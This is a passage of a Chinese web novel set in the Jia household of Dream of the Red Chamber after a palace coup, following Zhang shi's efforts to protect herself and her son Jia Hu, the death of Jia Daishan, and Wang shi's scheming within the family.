这次宫变中除了参与其中的肃王,靖王,康王之外,被杀的就有端王、颖王、宁王、安王还有平王,另有几个年纪小的还没成婚开府,并没有封号。这五个倒霉王爷里头,端王世子和颖王世子因为年长,也死在宫变之中,不过端王府还有个嫡次子可以袭爵,颖王府却只剩下三个庶子,宁王府里这些年陆续生了五个孩子,结果有三个女儿,两个庶子还夭折了一个,只留下一个庶子,安王就更倒霉了,他刚开府才一年多,成婚也不到一年,府里一个孩子都没有。 因此,各家王府里,平王府和端王府就能有一个嗣王,颖王府和宁王府就只能是嗣郡王,等到袭爵的时候另选封号,安王府那就只能是自认倒霉,除非上头允许过继,否则这一系就此而绝。 平王府以前在宗室里就是个小透明,自然也没什么权柄可言,贾史氏虽说自谦家里是京中二等人家,但是对没有实权的宗室也就是嘴上尊敬,根本不放在心上。 但是就算没有实权,人家也是皇家人。平王府出头,看似只是选贾瑚做伴读,实际上表露出来的意思就是:“张氏,我平王府保了!” 心里头犯嘀咕,贾史氏面上却是一团和气:“这是好事啊!可惜老爷如今病着,要不然家里非要摆几桌庆祝一下不可!” 王氏在一边却是心里泛酸,凭什么张氏运气这么好,娘家都要完蛋了,居然还有个八竿子打不着的表妹肯帮忙。她眼珠子一转,立马说道:“小王爷按理应该能有两个伴读吧,珠儿一直聪明伶俐,老爷都夸呢,叫他们小哥俩一起去做伴读,岂不有个照应?” 张氏诧异地看了一眼王氏,想不通自个这个妯娌怎么能这么厚脸皮。你家贾珠跟人家什么关系了,人家要选你做伴读?平王府但凡放出话去,要给嗣平王选伴读,宗室里头就有许多人要动心,哪里轮得到贾珠! 张氏终究是要脸的人,因此只是说道:“太妃娘娘仁爱,选了我家瑚儿,另一个名额,娘娘自然另有安排,咱们总不能替娘娘做主吧!” 王氏顿时急了:“大嫂,你家瑚儿将来定是能袭爵的,我家珠儿可没这个运道,你就不能将这个名额给我家珠儿吗?” 这个时候,王氏倒是想到荣国府该是长房袭爵了,不过想着贾史氏的许诺,王氏琢磨着,这伴读的名额珠儿也要,这荣国府,我们也要! 张氏脸一下子拉了下来,冷笑道:“这伴读的名额,难道是咱们能在家里私相授受的东西吗?” 见王氏张口结舌,贾史氏直接说道:“知道你是为了珠儿好,只是你嫂子说得对,王府既然已经有了决定,咱们哪有换人的道理!行啦,赦儿媳妇,王府那边有没有说,让瑚儿什么时候过去?” 张氏心中焦急,嘴上却是说道:“听隆安侯府的人说,小王爷已经在念书了,所以这事自然是越早越好,儿媳想着,先叫人去王府问一问才好!” 平王府如今还在守孝,正经上门拜会显然是不合适的,随便派个下人过去,又显得有些不敬,张氏原本想要让自己的奶娘走一趟,结果贾史氏这边却直接拍了板:“既然这样,那就准备一份帖子,叫赖大走一趟吧!” 张氏暗自咬了咬牙,赖大是府里的大管家,听起来很郑重,但是他是贾史氏的心腹,谁知道他去了王府,会做些什么!只是贾史氏作为婆婆已经做出了决定,张氏自然没有反驳的余地,只是说道:“当初在闺中的时候,我跟太妃娘娘一向亲近,这次还得劳烦赖大管家帮媳妇送几样东西过去,也是媳妇给太妃娘娘的一份心意!” 贾史氏没什么政治眼光,但是对打压儿子儿媳还是有心得的,自然明白儿媳妇是信不过自己,心中冷笑,面上却是一副欣然的模样:“这人情啊,就是越走越厚,咱们家之前跟宗室没什么往来,如今既然跟平王府也有了一重亲戚关系,那还是慢慢走动起来,日后也好给子孙留一条出路!” 说着,又吩咐身边伺候的大丫头鸳鸯去开箱子,从自己私库里面挑了几样东西出来,一起加入到礼单之中。 张氏又跟王氏一起奉承了贾史氏一番,这才回自个院里准备起来。请牢记收藏:,网址 最新最快无防盗免费阅读 第 13 章 说是让赖大去,但是王府现在最大的男主人就是个六七岁的孩子,以赖大的身份,自然是见不到的,甚至,在王府长史那里,他都只能卑躬屈膝,谄媚讨好,要不是后面是荣国府,长史连跟他多说几句话都觉得掉价! 因此,除了赖大之外,同行的还有几个婆子,除了赖大家的和几个管家媳妇之外,张氏的乳母也在其中。 这些人在荣国府待得长了,一直觉得荣国府已经是富贵至极,结果到了王府之后,就发现自己之前如同井底之蛙一般。 哪怕平王不算得宠,王府的规制在那里。她们几个从角门进去,穿过垂花门和几处门廊,一路所见,府里的下人虽说因为守孝的缘故,穿的都是布衣,但是却形容整肃,做事干净利索,路边廊上伺候的小丫头低眉垂首,悄然无声。到得正院门外,才有人疾步入内传话,不一会儿,便引着她们走了进去。 原本以为能见到太妃,结果进去之后却是被引到了西厢偏房,她们站着等候了一会儿,才有个嬷嬷带着几个小丫头进来。那嬷嬷虽说穿的也是布衣,头上也只戴着几根银钗,但是看气度就知道应该是内院里头掌事的大嬷嬷。 宰相门前七品官,何况是王府。几个婆子不敢拿大,都蹲身行礼。 来的正是吴嬷嬷,顾晓别说是正在休养,便是身体好,也犯不着自降身价,去见几个下人,能让吴嬷嬷出面,已经足够给荣国府面子了。 吴嬷嬷倒是认识张氏的乳母的,这会儿看着她就是笑道:“周姐姐,倒是多年没见过了!”说着,就拉了周嬷嬷的手在一边杌子上坐下,几个小丫头这才招呼另几个婆子在另外几个杌子上坐了下来,又端了茶水过来,只是光看座次,就能看出亲疏来。 周嬷嬷不由受宠若惊,连忙说道:“吴姐姐,的确是有些年月没见过了,上次还是我家奶奶出嫁那会儿呢!” 这边叙旧,那边赖大家的顿时有些不耐,她婆婆赖嬷嬷是贾史氏的陪嫁,在府里很有脸面。丈夫赖大前两年就被提为府里的大管家,自己也是跟着水涨船高,在府里几个管家媳妇里头算是头一个。结果到了这里,人家根本不拿她当回事,反而跟周嬷嬷说个没完,不免有些不忿。 忍耐了一会儿,赖大家的终于忍不住开口道:“这位姐姐……” 话才一说出口,一边一个小丫头就忍不住嗤笑了一声,吴嬷嬷说是顾晓的乳母,实际上,就像是宫里那些积年的嬷嬷一般身上都有品级一样,吴嬷嬷也是有品级的,她可不是奴婢,而是王府女官,哪怕品级很低,那也是官! 吴嬷嬷叫周嬷嬷一声姐姐,是看在过去的情谊,而赖大家的,哪来的脸跟着叫呢? 赖大家的脸色一下子变了,只是当着大家的面,没法发泄出去,只得硬挤出一个笑来:“是奴婢不晓事,只是奴婢等人此来,是奉了荣国公夫人的吩咐,来给太妃娘娘请安的,不知太妃娘娘可有空,拨冗相见?” 吴嬷嬷面无表情地说道:“娘娘什么身份,若是荣国公夫人上门,娘娘自然是要见一见的……”她这话也没说完,在场的人也就明白了,你们什么身份,也配见娘娘? 周嬷嬷也跟着尴尬起来,她忍不住捏了捏袖子,抿了抿嘴唇,说道:“吴姐姐,我家奶奶特特准备了一些薄礼,感念娘娘的恩德!” 对周嬷嬷,吴嬷嬷就很和气了,她笑道:“娘娘之前就说了,都是自家姐妹,说这些作甚!如今是孝期,娘娘不方便,等王府出了孝,娘娘就下帖子请你家奶奶来王府叙旧!” 周嬷嬷顿时松了口气,说道:“那我替我家奶奶问娘娘安,也想问一下,这个伴读的事情!” 收到荣国府帖子的时候,顾晓就意识到张氏在荣国府的处境已经到了很危急的程度,因此之前就跟吴嬷嬷有了交代,这会儿吴嬷嬷就说道:“娘娘心疼小王爷,如今这个时候,也不好出门,府里头也没个年纪相当的。贵府哥儿算起来跟小王爷也是亲戚,说是来伴读,其实就是给小王爷做个玩伴,贵府若是不怕哥儿被耽误了,我们就早点派人去接!” 周嬷嬷简直是喜出望外,连声说道:“能给小王爷做玩伴,那真是想也想不到的福分!回头我便跟奶奶说,把东西收拾出来!” 吴嬷嬷笑呵呵地点了点头,只是一味拉着周嬷嬷叙旧,询问张氏如今的情况:“听说你家奶奶又怀上了,算算年纪,正好比我们王府三公子小一岁!” 这话一说出口,其他人都酸了。人比人,气死人,也就是说,张氏这一胎若是个哥儿,说不得也能给王府小公子做伴读,若是个姐儿,说不定还能嫁到王府呢!虽说王府嫡次子将来只能封个镇国将军,可这也是一品的爵位,一般人别说是祖坟冒青烟,便是祖坟着火,几辈子也够不上。若是生个女儿,能跟王府结个亲,那就更是造化! 周嬷嬷却是喜形于色,这话传回去,自家姑娘总算可以安心了。 这几个月来,自家姑娘被磋磨得吃不好睡不好,除了肚子开始显怀,整个人简直瘦得一阵风都能吹跑,这样下去,那还得了! 其他几个婆子也算是明白了,人家根本不在乎荣国府,这次搞这一出,完全是给自家大奶奶撑腰的。以前也没听说张家有这门亲,如今突然冒出来,简直就是吓死人!看样子,还真不得将大奶奶彻底得罪了,如今站出来的就有个隆安侯府和平王府,以后还不定有什么姻亲故旧冒出来呢!有这么多亲朋,张家这次就算是获罪,说不定过个几年也就起来了,回头人家报复起来,对付不了荣国府,拿捏他们这些奴婢还是有办法的。 吴嬷嬷这一番下马威给得非常成功,荣国府一干下人回去之后,在面对张氏的时候,都客气了许多。 张氏才懒得理会这些两面三刀的小人,她一边吩咐人收拾东西,一边对着贾瑚叮嘱起来。请牢记收藏:,网址 最新最快无防盗免费阅读 第 14 章 贾瑚年纪比徒嘉钰略大一些,他生下来的时候,老荣国公夫人还在,本来这位就喜欢贾赦这个大孙子,对贾瑚这个重孙更是宠爱非常。贾瑚又生得粉妆玉琢一般,又是个小机灵鬼,便是贾代善对贾赦各种恨铁不成钢,也得说贾赦生了个贾瑚,那是歹竹出好笋。 贾史氏偏心贾珠,贾代善却更偏爱贾瑚,因此,贾瑚前些年的时候,在荣国府近似于要风得风,要雨得雨。 结果这几个月,贾瑚简直是如同从天堂掉进了地狱。 小孩子其实是非常敏感的,特别会看人眼色。哪怕贾史氏一贯都是一副慈祥祖母的形象,但是贾瑚就是知道,祖母其实不怎么喜欢自己。 如今疼爱自己的祖父卧病在床,说话都吃力,更别提陪他玩了,母亲怀了孩子,看起来却非常不好,父亲也是一副郁郁寡欢的模样,整日里躲在自个书房里头不知道在鼓捣什么东西,连身边的嬷嬷还有丫头们也变得不冷不热起来。 贾瑚心里委屈,却不知道找谁诉说,之前母亲因为身边伺候的丫头婆子不尽心发了大火,直接将人都换成了自个的陪房,新换的丫头婆子暂时还不清楚贾瑚的习惯,还在磨合之中。 这些日子,贾瑚都在张氏隔壁厢房住着,虽说离母亲更近了,却愈发能够感觉到母亲的焦虑。大人的焦虑也会给孩子带来很大的心理压力,尤其是对贾瑚这样一个有些早熟地孩子。 这会儿见到张氏很难得变得松弛了起来,贾瑚也忍不住松了口气,心里也在胡思乱想,难道祖父病好了? 张氏顾虑到贾瑚年纪比较小,而且荣国府如今这个情况,谁也不知道背地里头有什么谋算,是打算让贾瑚去平王府长住的,不过,嘴上自然不能这么说,而是说道:“瑚儿,现在家里头事情比较多,你祖父病了,你父亲这些日子也顾不得你,妈妈肚子里还怀上了你的弟弟妹妹,外祖家那边也不方便。你这个年纪本来也该好好念书的,只是如今也没个合适的先生,正好平王府如今的太妃是妈妈的表姐妹,府上的小王爷如今也在开蒙,选了你去跟小王爷一起念书,你觉得怎么样?” 贾瑚顿时有些心慌:“妈妈,你不要瑚儿了吗?” 张氏搂着贾瑚,耐心地说道:“怎么会,你是妈妈身上掉下来的一块肉,妈不要别人也不会不要你啊,便是妈妈肚子里这个,也比不得你!只是这些日子你也看到了,府里头乱糟糟的,你留在家里,妈妈反而不放心!何况,你去了平王府又不是不回来了,隔个几天,妈就叫人去接你,你说好不好?” 贾瑚听着张氏这般言语,心满满平定了下来,他仰头看着脸色有些苍白的张氏,懂事地说道:“好,那妈妈你一定要记得去接我!” 张氏点了点头,说道:“当然了,要不,妈妈让周嬷嬷过去陪你?” 贾瑚用力点了点头,说道:“好!”贾瑚可是知道,周嬷嬷作为母亲的乳母,一向被看重,既然让周嬷嬷跟着自己,可见母亲对自己的关心。 张氏这边跟儿子相亲相爱,贾赦却在书房里发脾气。 贾赦之前被贾代善狠揍了一顿,还关了起来,贾赦想要出去报信都不行。知道贾敬跟贾赦是一伙的,贾代善连同贾敬都关在了宁国府里,叫一干亲兵护卫盯得死死的。 没几日,宫里的消息就传了出来,贾赦那时候都已经有了一死了之的想法,结果又被贾代善揍了。大多数人都是贪生怕死的,既然头一次寻死不成,贾赦就不想再死了,只是又开始担心自己会是个什么结果。 外头既然没人上门来抓人,就知道贾赦哪怕顶着太子一党的名头,但是这次的罪过算是躲过去了,至于到底是因为他“揭发有功”,还是因为他爹“将功赎罪”,这都不好说。 贾赦又不是真的蠢货,贾代善了解圣上,贾赦其实对皇家的人也有一些了解,那就是一帮小心眼!如今不拿参与谋逆的事情来治罪,那后头指定还有些别的想头! 时间拖得越长,贾赦心里就越慌。岳父家里几乎没掺和进东宫的事情,都被关了起来,半点消息都打听不到,他这样的,能有什么好果子吃!贾代善又不给贾赦一句实在话,更重要的是,贾赦未必真的信得过自家亲爹!毕竟,为了家族的传承,事不可为之下,大义灭亲的事情贾代善不是做不出! 贾赦跟张氏有感情,但比起妻儿,总归是自己更重要。因此,他这些日子就是躲在书房里,做起了缩头乌龟,当做不知道张氏贾瑚的遭遇。 结果之前听说张氏居然勾连上了隆安侯府和平王府,贾瑚都被选中做伴读了,贾赦就恼火起来。 你有这个关系,你早说啊!早知道如此,我不是能想办法跟人家打听一下,疏通一下关系?总好过自个在书房里头跟个无头苍蝇一样。 结果贾赦之前去找张氏,张氏却不冷不热地将他顶了回去。按照张氏的说法,她都没好意思问人家自个娘家的事情,他这边好歹还有个救驾有功的国公顶着,反倒是杞人忧天起来。 张氏如今对贾赦很失望,她原本对婆婆,对妯娌本来也没什么期待,所以,即便那两位小动作频繁,张氏也能理解。可是贾赦作为枕边人,按理说夫妻两个该共同进退,结果到了这个时候,就能看出来,这个丈夫根本没有多少担当,还是个自私自利的混蛋! 张氏也是心灰意冷,见贾赦根本不关心她为什么在这个时候,冒着贾瑚可能会被人扣上一个“不孝”帽子的风险将人送出去,只关心自个的那点事情,要不是本身涵养好,张氏当时就想一爪子上去,将贾赦的脸挠成棋盘! 贾赦还没混账到打老婆的地步,碰了钉子之后,也只能回书房无能狂怒。 贾史氏管家一味宽和,尤其大房之前就有了风雨飘摇之势,下头的下人也是见风使舵。贾赦跟张氏闹了这么一出,立马就有人跑出去通风报信,不光是贾史氏和二房知道了,便是在梨香院养病的贾代善也听说了。请牢记收藏:,网址 最新最快无防盗免费阅读 第 15 章 第15章 贾代善这会儿连生气的力气都没有了,只觉得悲哀。 他自觉自己英雄一世,结果生了两个儿子,就没一个靠谱的。 大儿子从小被惯坏了,若是朝局平稳过渡,以他那性子,最多干出点欺男霸女的事情,皇家乐得看到一个安享富贵,不再在军中钻营的开国勋贵。外面再有张家这样一个姻亲,给贾家二三十年时间,哪怕只是培养出一个举人呢,也足以在文官圈子里撬开一条缝慢慢挤进去。 可如今是什么时候,府里内忧外患,他不想着在自己这个父亲病重的时候将府里扛起来,只知道缩着脖子往后躲,你是荣国公世子,这点担当都没有,这府里还能交给你吗? 至于说交给贾政,那就更不可能了!别看贾史氏总是在贾代善耳边吹枕头风,说什么贾政孝顺,勤奋,喜欢读书之类的。一开始贾代善还能被糊弄过去,但是,贾政都二十大几的人了,还只有这几点能拿得出手!这也罢了,最重要的是,贾政是个没主意的,就像是个没断奶的孩子,只知道听贾史氏的。 至于贾史氏这个老妻,贾代善想起来更觉得无力。以前听人说什么大丈夫难免妻不贤子不孝,贾代善还嗤之以鼻。轮到自己头上,就知道这是个什么滋味了! 贾史氏是小事上精明,大事上糊涂。脑子里就内宅那点事情,一直沉浸在过往的辉煌里头,根本不想将来的事情!还是那句话,如果没有发生那场宫变,太子正常继位,贾史氏如何,贾赦贾政兄弟两个如何,都不算什么事! 偏生如今情况变了,贾史氏还在惦记着这些破事!贾代善这会儿就是后悔,当初贾史氏随便将几个庶女远嫁了,又一力主张给贾政娶了王氏女,以至于如今张家倒了,贾代善连个靠谱的可以商量的亲家都没有。 至于说史家,还是算了吧,贾史氏这性子,就是史家教养出来的,要是听他们的,那就是给已经开始往深渊下坠的荣国府再踹一脚! 贾代善怀着满腔的悲愤,叫人将自己扶起来,准备再写个折子的时候,贾史氏气势汹汹地过来了。 “老爷,老大那个样子,怎么当得起世子的位置!”贾史氏也顾不得贾代善一副有气无力的样子,草草问候了两声,就忍不住说道,“刚刚还跟张氏吵起来了,张氏再怎么样,还有身子呢!” 贾代善看着老妻的模样,心里又忍不住叹气,他无力地摆了摆手,说道:“行啦,圣上既然没有下旨夺了老大的世子之位,那就只能是他!爵位传承,从来都不是家事,而是国事!老大的事情又不能放到台面上说,真要是说出去,再叫圣上想起之前的事,别说圣上,便是朝中那些大臣也要迁怒咱们!” 贾代善话都说到这个份上了,贾史氏还能如何,有些不甘心地说道:“那宫里到现在都没个说法,要不要找贵妃娘娘问问情况?” 贾代善看着贾史氏自以为聪明的模样,简直有些绝望,这都什么时候了,还想要跟后宫联系,不怕被扣上一个勾结宫闱的罪名啊!他根本就没想到贾 史氏的脑回路,在贾史氏看来,宫里贵妃有子,又是一向受宠的。以前是年纪小,谁也没觉得能轮到他,可如今,不是圣上成年的儿子几乎都被团灭了吗?就留下一向不露头的雍王和简王,这两人一个生母早逝,因为生母去世的时候已经六七岁了,连个养母都没被安排。另一个生下来眼神就不好,长大了就跟个半瞎子一样,即便是戴上了叆叇,也是三米之外人畜不分。如此一算,自然是贵妃娘娘所生的十四皇子徒宏憬更有机会上位。 贾代善可不知道贾史氏居然还有夺嫡站队的心思,真要是知道,他肯定临死之前也要将贾史氏一起带走。他只当贾史氏就是目光短浅,想要借着甄贵妃打探圣上的心意,因此,只是厉声警告道:“你当圣上是什么人?想要借着贵妃娘娘揣摩圣意,还嫌家里不够乱,想要菜市口一家子整整齐齐?” 贾史氏被吓了一跳,赶紧说道:“老爷说的是,是我想差了!” 贾代善看着贾史氏那副不明所以的模样,愈发觉得无力,他叹道:“罢了罢了,知道你就是心疼政儿,政儿也是我儿子,难道我不想给他安排个好前程吗?只是政儿至今连个童生都不是,还不通庶务,这才叫他一直在家读书!如今我也就是这几天的事了,以后赦儿袭爵,也得给政儿一个出路!” 贾史氏知道这已经是贾代善的底线,哪怕还有些不满,但也算是说得过去,因此便问道:“老爷打算给政儿安排个什么差事?” 贾代善气闷地看了贾史氏一眼:“恩出于上,我就上个折子,看圣上如何安排,咱们只管谢恩便是!” 贾史氏这才不再继续追问,想到贾代善刚才说就这几天的事,倒也没有十分伤心,毕竟,这话听了好几次,贾代善现在还撑着呢!便说道:“老爷安心静养,说那些事情做什么,赦儿是个不成器的,还得老爷看着呢!” 贾代善摇了摇头,也懒得再说,自己的事情自己知道,他多说了几句话,都已经有些喘不过气,本来还想要亲自写折子的,如今也只能叫人代写了,他叫人将自己扶回去躺着,这才有气无力地说道:“行了,我得歇息一会儿,你先回去吧!明儿个将赦儿和政儿也叫过来,我有事情要交代!” 贾史氏听了,也懒得继续在贾代善这里多待。嘴上说贾代善安心静养会好起来,但是贾代善身上明显已经有了死气,贾史氏也是五六十岁的人了,自然忌讳这个,当下就离开了。 看着贾史氏果断离去的背影,贾代善嘴角露出一丝苦笑,以前觉得母亲不喜欢这个儿媳妇就是正常的婆媳矛盾,如今才发现,其实是自己不了解她。只是事已至此,还能如何呢?! 微云烟波向你推荐他的其他作品: 希望你也喜欢请牢记收藏:,网址 最新最快无防盗免费阅读 第 16 章 第16章 张氏的一番准备落了空,贾瑚没能第一时间来王府,因为贾代善终于撑不住了,在给妻子儿子做了最后的交代之后,就撒手人寰。 到了贾代善这个身份地位,即便是丧礼,也不是贾家能全权做主的,得看上头的恩典。 贾代善一直就是圣上的心腹,先是给圣上做伴读,圣上青年登基,又给他做过几年侍卫,之后才跟着贾源出去打仗!后来要不是贾史氏嫁过来多年不曾产育,贾赦早出生几年的话,也是能给太子做伴读的。 圣上一开始的确对贾代善有些迁怒,自个儿子死了,贾代善这个混账还要护着自家儿子。如今贾代善真的死了,看到遗折上说不放心两个孩子,大的庸碌,小的也无多少可取之处,大儿子蒙恩被封了世子,还能袭爵,小儿子却没个着落云云,不免叹了口气。 只是贾赦袭爵的事情,圣上还是有些不甘心。当初君臣和谐的时候,圣上对贾赦也是另眼相看,贾赦十七岁的时候,圣上亲口赐了表字“恩侯”,这一切都在不言中,那就是许诺贾赦将来能袭一个侯爵。 然而此一时彼一时,圣上一口气死了足有两位数的儿孙,哪怕里面好些个他连名字长相都未必对得上号,还丧了太子。他不肯承认太子走到这个地步都是自己逼的,在他看来,自己之前那些打压,那都是给太子的磨砺啊,哪知道一番折腾,刀子直接磨断了! 他如今正处在看谁都不顺眼的阶段,你不跟着太子一块死也就算了,还想封侯?做梦! 原本按照规矩,贾赦应该是降三等袭爵,公侯伯子男,这些都算是超品的爵位,贾赦应该可以袭一个子爵。但是圣上大笔一挥,只给了贾赦一个一等将军的爵位,至于贾政,圣上顺带着给了个工部主事! 圣上给活人的恩典可以说是刻薄,对死人反而挺大方!贾代善毕竟是圣上的心腹,之前也有救驾之功,自然不能随随便便就打发了。因此,圣上又是命礼部给贾代善拟好谥号,自己亲自选了“忠肃”二字,又是赐下诸多金银,供贾家置办丧仪,最后还叫雍王代自己前往荣国府致奠。 总之,除了没有附葬皇陵之外,死后哀荣算是拉满了。 可是对于贾家来说,光是死后哀荣有什么用,活着的人没捞到什么好处啊! 贾赦只袭了个一等将军,工部主事也就是个六品的小官。对于贾家来说,六品就是个芝麻绿豆大的小官!而且这个是标准的文官序列,如果不是科甲出身,五品就是个槛,除非立下什么能让大多数人信服的功劳,否则的话,这辈子都别指望升到四品。 可以说,贾代善一死,贾家的阶级就一下子掉落了好几个大层次。 这会儿没人会说荣国府当初倾向东宫本来就是圣上的意思,贾赦一荣国公世子的身份跟着太子,也是家里推动的,只会说贾赦不肖,以至于荣国府落到如此地步。贾赦本就不是口齿伶俐的人,何况他也的确是心虚,对于诸多指责,也只能是默认下来。 贾家还算是要点脸面,并未当 着外头人的面撕扯,但是家族乃至姻亲之中,已经将此事定了性,贾赦俨然成了贾家的千古罪人。 在这样的压力之下,贾代善的丧礼上,贾赦表现得就各种不靠谱,看起来就是一副神思昏乱,不知所云的状态,只叫外头不知道的人大跌眼镜,暗自嘲弄贾赦就是个废物点心,老子一走,就是一副提不起来的窝囊模样,荣国府有这样的袭爵人,算是做了孽了。 与之相反的是贾政,贾政从来就很擅长这种表面功夫,看着也是一副忠厚诚恳的模样,倒是叫许多人高看了一眼。 “妈,不是说表姨家的表兄要过来跟我一起读书的吗?怎么还不过来!”平王府自家还在孝期,跟荣国府本来也没什么往来,又不需要跟勋贵人家亲近,自然不会去荣国府凑这个热闹。徒嘉钰小孩子一个,许多事情还是半懂不懂,只知道说好的玩伴落了空,在家里等了七八天,就有些等不住了,等着乳母将弟弟抱到侧间去喂奶,就忍不住问顾晓。 顾晓有些无奈,说道:“你表兄的祖父过世了,这个时候他也不好出门!” 徒嘉钰顿时沉默起来,小大人一样叹了口气,先平王的丧礼过去还没多久,对于守孝的事情也知道不少,明白那位表兄的确暂时是来不了了。 顾晓其实也担心张氏,张氏本来前些日子就忧思过甚,如今还要给贾代善守孝,还不知道如今是个什么状况,到底能不能撑得住也未可知。 顾晓这倒是想多了,为母则强,张氏如今算是对夫家彻底失望了。她原本就不是什么只知道吟诗作画的女子,在知道要嫁到宁国府作为世子夫人之后,张家更是费了许多心思教导。之前的时候,日子还算是和顺,张氏自然是没必要用什么手段,如今夫家的真面目露出来,张氏自然得为自己着想。 张氏有孕在身,贾史氏又偏向二房,想要借此机会让二房捞一把,自然是将一部分理丧的差事交给了王氏,叫张氏好生休养。王氏虽说不似侄女王熙凤一般精明能干,但是手底下那些陪房总归不是废物,他们想要中饱私囊,也得先将事情做好不是,因此,还真没出什么乱子。 不用理事,张氏就能轻松很多。贾史氏本来也怕落下个恶婆婆的名声,因此,凡事不十分必要的场合,并不逼迫张氏出面。要不然,在外人那里,张氏一副瘦骨伶仃,面色惨白的模样,到底是说张氏比王氏更孝顺呢,还是贾家看着张家出了事,有意磋磨儿媳妇呢? 人言可畏!张氏也不能为了一个“孝”名将自个和肚子里的孩子搭进去。因此,她借口伤心过度,动了胎气,除非必要,都在自个屋里休养。连同贾瑚也是一样,要出面可以,都跟贾珠一起。你们二房不是想压过大房一头吗?那行,我们也不争这个先!都是嫡亲的孙子,给祖父守孝的事情,自然要同进同退! 她又从自己陪嫁的人手里头又挑出了一批人,许诺若是他们在张家的亲人因为张家的事情被发卖,她都会命人买下来,叫他们全家团圆。相反,若是张氏母子有个万一,他们的亲人日后还不知道要落到何等田地。 一番恩威并施之下,张氏迅速稳定了人心。如今,她跟贾瑚身边,人手都已经全部补足,到哪儿都不会落单。院子里不好设立小厨房,这些下人就用茶炉做羹汤,不能用燕窝,那就用银耳,不能吃荤腥,那就用鸡蛋豆腐。总之,尽可能自给自足,以免有人钻了空子。 一番作为之下,张氏这边俨然铁桶一般,王氏想要趁机做些什么,只能是徒呼奈何,只能暗自咬牙,心中诅咒张氏这一胎生不下来,一尸两命。 时间过得飞快,很快就到了贾家扶灵回乡的时候。! 微云烟波向你推荐他的其他作品: 希望你也喜欢请牢记收藏:,网址 最新最快无防盗免费阅读 第 17 章 第17章 贾代善没捞到附葬皇陵的恩旨,自然要葬回金陵。 贾史氏养尊处优惯了的,别看她后来动辄威胁儿子要回金陵,实际上她也就是小时候跟着史家在金陵住过几年,年纪稍微大一点,就到了京城,至今都没有离开过。让她跟着灵柩回金陵,那是不可能的事情,一路上得多受罪啊! 因此,贾史氏借口伤心过度,身体不好,无法成行,只叫贾赦贾政兄弟两个,再加一个想要趁机躲躲风头的贾敬一块扶灵回乡,一干女眷却都留了下了,府里似乎一下子平静下来。 此时已经入冬,距离宫变已经过去了大半年。菜市口前一阵子还血流成河,至今从那里经过还能闻到隐约的血腥味。 对张家的判决也已经下来了,张家老太傅是没有受到什么影响的,毕竟人家都致仕好几年了,又是几朝老臣,总归要给些颜面。倒霉的是张修贤,他作为詹士府的官员,却对东宫的动静一无所知,这是什么,这是失职! 张修贤被罢职,全家流放琼州。张家其他各房也受了牵连,做官的要么被罢官,要么被贬职,还没做官的直接勒令回乡尽孝,好好一大家子人,一下子就天各一方。 张家这般,比起其他人家,已经算是从轻发落。明眼人都知道,张家这次无非就是被台风尾扫了一下,等事情过去了,还有起复之机。 荣国府这边,张氏听到消息,简直是喜极而泣,嘴里直念“阿弥陀佛”。她如今不方便出门,却是准备了一大堆东西,托人给娘家送过去。贾史氏固然目光短浅,却也不是什么蠢人,这会儿只觉得庆幸。亏得之前张氏没出事,要不然算是跟张家结了死仇,日后张家报复起来,便是贾代善还在,荣国府也非得伤筋动骨不可。为了找补,贾史氏不仅允许张氏派人给娘家送钱送物,也准备了不少程仪,一起送了过去。 张氏面上感恩戴德,心中却是冷笑,如此势利的人家,竟是叫自己给赶上了! 贾史氏倒是个醒事的,王氏却不是什么聪明人。眼看着贾史氏居然对张氏又恢复了之前的态度,她顿时就急了。 王家的女儿从来都是不读书的,王氏自个就是个目不识丁的,也就是认识账本上几个数字。前些年的时候,起码还有几分好颜色,跟贾政很是好过一阵子。但是等到新鲜劲过去了,王氏又不是什么会婉转迎合的人,不懂什么闺房之趣,对于贾政来说,就显得有些索然无味,以至于如今夫妻感情愈发淡薄。对于王氏来说,丈夫就是个靠不住的,能依靠的还是自家儿子。 王氏是个蠢人,很多时候蠢人的杀伤力却是叫人难以想象的。在王氏看来,如今袭爵的已经是贾赦,再想办法将贾赦拉下去几乎是不可能的事情。 但若是贾赦没有嫡子呢?贾家但凡不想让这个爵位就此断绝,就得过继,那还有比自己的珠儿更好的人选吗? 既然有了这样的想头,张氏母子就变成了王氏的眼中钉、肉中刺。她可不管张家是个什么情况,小孩子夭折的多了,一尸两命的妇人也多 了去了,只要张氏母子死了,张家还能如何?便是贾史氏,除非她想要让家丑外扬,否则的话,就得帮自己将事情遮掩过去。 为了这个目标,王氏这些日子,那真的是小动作不断。之前仗着掌家,她就叫人偷偷在给大房的饭菜里面加入山楂、红花之类会让孕妇流产的东西,可惜的是,张氏乃至贾瑚根本不碰大厨房送过去的东西,王氏的打算落了空。 王氏也没有因此偃旗息鼓,只有千日做贼,哪有千日防贼的。她如今就在算着张氏怀孕的月份,准备到时候给张氏来个狠的。 但是,她很快淡定不起来了。 张氏又重提了贾瑚去平王府做伴读的事情:“老太太,儿媳这身子愈发重了,精神也短了,老爷不在,也没人教导瑚儿,瑚儿这个年纪,也不能一直跟着我一个妇道人家。前儿个,平王府那边又有人过来询问瑚儿做伴读的事情,小王爷如今也不小了,伴读的事情也不能一直拖着,瑚儿再不去,王府就要另选他人!” 张氏话还没说完,王氏就插口道:“咱们府里如今在守孝,瑚儿还是嫡长孙,哪能随便出门呢!” 张氏叹道:“国公爷在世的时候,就惦记着府里改换门楣的事情,总跟瑚儿说,要叫瑚儿去读书!若是我娘家还在京里,那自然没什么可说的,可如今却是不成了!瑚儿如今正是读书的时候,若是因为守孝的事情耽搁了,也是国公爷不愿意看到的!” 贾史氏看了王氏一眼,说道:“知道你心疼儿子,只是咱们府里不是有族学吗?只是启蒙而已,在族学应该也耽误不了!” 张氏低头说道:“族学的情况,儿媳也知道一些。这么多年来,除了族叔前两年自个考中了秀才之外,并无人在科场上有所成就……”这话已经是往好听里面说了,贾代儒前些年说是管着族学,实际上只顾着自己的前程,对于学里的孩子都是放养,族人送孩子过去无非就是冲着学里的各种补贴来的,对孩子根本没什么期待。但凡是对孩子有期望的,宁可送到外头私塾,也是不往族学送的,这俨然也算是贾家的笑话了。 王氏嘀咕了一声:“东府敬大伯不就考中进士了吗?” 张氏静静地看着王氏,看得王氏都有些不自在起来,才说道:“敬大伯当时可是拜了李学士为师,可并未在族学读过几日!” “咱们毕竟是丧家,不如也从外头聘个西席回来,正好瑚儿和珠儿可以一起读书,小兄弟两个也可以多多亲香,将来也能齐心协力!”贾史氏神情和蔼,口中说道。 